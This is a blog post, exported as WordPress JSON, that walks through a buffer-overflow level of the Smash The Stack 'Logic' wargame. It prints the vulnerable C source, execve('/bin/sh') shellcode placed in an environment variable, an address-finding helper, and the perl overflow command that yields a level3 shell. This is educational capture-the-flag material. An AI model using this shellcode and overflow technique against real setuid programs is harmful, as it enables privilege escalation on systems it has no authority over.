{"id":263,"date":"2012-10-14T15:27:03","date_gmt":"2012-10-14T22:27:03","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=263"},"modified":"2012-10-14T15:51:30","modified_gmt":"2012-10-14T22:51:30","slug":"logic-level2-security-is-only-as-strong-as-the-weakest-link","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=263","title":{"rendered":"Logic Level 2 &#8211; Security Is Only As Strong As The Weakest Link"},"content":{"rendered":"<p>Welcome back to Technolution. Today we&#8217;re going to be looking at level2 of the Logic wargame, hosted on the Smash The Stack network. Level2 is a shell based level and required the password aquired through level1. As always, if you want to follow a long, please use your password to login to level2. Also, the password at the end of the level will be stripped out and replaced with Y&#8217;s. So without further delay, let&#8217;s get started!<\/p>\n<p>Logging into level2 we get a message that all levels are in the \/levels directory. There we can jump to the level2 directory and get a listing to see the files for the level:<\/p>\n<blockquote><p>[level2@logic level2]$ ls<br \/>\nlevel2 level2_alt level2.c<br \/>\n[level2@logic level2]$ more level2.c<br \/>\n\/*<br \/>\nPassword has been blanked out of the source. Enjoy \ud83d\ude42<\/p>\n<p>Level<br \/>\n*\/<\/p>\n<p>#include &lt;stdlib.h&gt;<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;string.h&gt;<br \/>\n#include &lt;unistd.h&gt;<\/p>\n<p>int main(int argc, const char **argv) {<br \/>\nif (argc &lt; 2) { printf(&#8220;Fail. More Args&#8230;\\n&#8221;); return 1; }<br \/>\nelse {<br \/>\nsetresuid(geteuid(),geteuid(),geteuid());<br \/>\nchar buf2[4096];<br \/>\nchar buf[16];<br \/>\nconst char password[]=&#8221;XXXXXXXXXXX&#8221;;<br \/>\nstrncpy(buf, argv[1], sizeof(buf) &#8211; 1);<br \/>\nif (strcmp(buf,password) != 0) {<br \/>\nprintf(&#8220;Wrong.\\n&#8221;);<br \/>\nreturn 1;<br \/>\n}<br \/>\nelse {<br \/>\nstrcpy(buf2,argv[2]);<br \/>\nprintf(&#8220;%s&#8221;,buf2);<br \/>\nreturn 0;<br \/>\n}<br \/>\n}<br \/>\n}<\/p><\/blockquote>\n<p>Looking at the source we see we need to supply 2 arguments, a password to be put into buf and compared to the password char array, and another string to be put into buf2 (un-safely I might add, so we can cause a buffer overflow). In an attempt to see what value might be in the password array, let&#8217;s check the strings in the compiled program:<\/p>\n<blockquote><p>[level2@logic level2]$ strings level2<br \/>\n\/lib\/ld-linux.so.2<br \/>\n__gmon_start__<br \/>\nlibc.so.6<br \/>\n_IO_stdin_used<br \/>\nstrcpy<br \/>\nstrncpy<br \/>\nprintf<br \/>\nsetresuid<br \/>\ngeteuid<br \/>\nstrcmp<br \/>\n__libc_start_main<br \/>\nGLIBC_2.0<br \/>\nPTRh<br \/>\nQVhl<br \/>\n[^_]<br \/>\nFail. More Args&#8230;<br \/>\nZZZZZZZZZZZ<br \/>\nWrong.<\/p><\/blockquote>\n<p>There are 11 X&#8217;s in the source. The 2nd to last string is 11 chars long. Coincidence? Probably not&#8230;. So, this is probably the first argument we need to supply to the program. The next argument will take a little further investigation as it looks like we need to exploit a buffer overflow and probably hijack the return address (especially since there is a return call closely after the vulnerable string copy call).<\/p>\n<p>So, let&#8217;s get some shell code and place it into an environmental variable for easy access:<\/p>\n<blockquote><p>export SHELLCODE=$&#8217;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8242;<\/p><\/blockquote>\n<p>Next, let&#8217;s write a small c program to get the memory address of our shellcode:<\/p>\n<blockquote><p>#include &lt;stdio.h&gt;<br \/>\n#include &lt;stdlib.h&gt;<\/p>\n<p>int main(int argc, char *argv[])<br \/>\n{<br \/>\nif(!argv[1])<br \/>\nexit(1);<br \/>\nprintf(&#8220;%#x\\n&#8221;, getenv(argv[1]));<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p>[level2@logic s9]$ .\/t SHELLCODE<br \/>\n0xbfffdc7b<\/p><\/blockquote>\n<p>Now that we have the address of the shellcode we want to execute, let&#8217;s write our buffer overflow that points to our shellcode:<\/p>\n<blockquote><p>[level2@logic level2]$ .\/level2 ZZZZZZZZZZZ `perl -e &#8216;print &#8220;A&#8221;x4108,&#8221;\\x7b\\xdc\\xff\\xbf&#8221;&#8216;`<br \/>\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsh-3.2$ whoami<br \/>\nlevel3<br \/>\nsh-3.2$ more ~\/.pass<br \/>\nYYYYYYYYYY<\/p><\/blockquote>\n<p>Tada, buffer overflow exploited! Return address over-written! Lesson of the day is to always verify user input AND to use safe copy functions when filling arrays\/buffers. The correct function (strncpy(3)) was used for buf and argv[1], however strcpy(2) is vulnerable to buffer overflows and was used for buf2 and argv[2].<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back to Technolution. Today we&#8217;re going to be looking at level2 of the Logic wargame, hosted on the Smash The Stack network. Level2 is a shell based level and required the password aquired through level1. As always, if you &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=263\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[34,6,4],"tags":[27,52,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/263"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=263"}],"version-history":[{"count":10,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/263\/revisions"}],"predecessor-version":[{"id":272,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/263\/revisions\/272"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=263"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=263"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=263"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}